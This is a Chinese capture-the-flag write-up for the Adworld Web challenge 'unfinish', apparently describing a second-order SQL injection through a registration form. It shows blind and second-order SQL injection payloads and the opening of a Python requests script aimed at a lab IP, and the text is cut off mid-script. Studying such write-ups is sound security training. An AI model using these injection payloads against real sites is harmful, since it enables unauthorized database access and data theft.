攻防世界Web：unfinish

打开页面后，是一个登录页面：

用御剑扫一扫，发现有注册页面：
用burpsuite抓注册页面：
尝试构造sql盲注语句：username=1' and left(database(),1)>'a'#
得到结果为nnnnoooo!!!过滤了很多
通过抓包出来的三个参数，猜测注册的语句是：insert into tables value('$email','$username','$passwpord');
登录成功后语句：SELECT * FROM tables WHERE email = ''$email";
构造payload注入：0'+ascii(substr((select database() from 1 for 1))+'0

但失败了，通过fuzz检测出这里过滤了很多，没办法了，去看了其他师傅们的wp，直接上获取数据库和flag的脚本吧：
获取数据库名web：

import requests
import re as r

re = requests.session()
url = 'http://111.200.241.244:63436/'

def register(email,username):
    url1 = url+'register.php'
    data =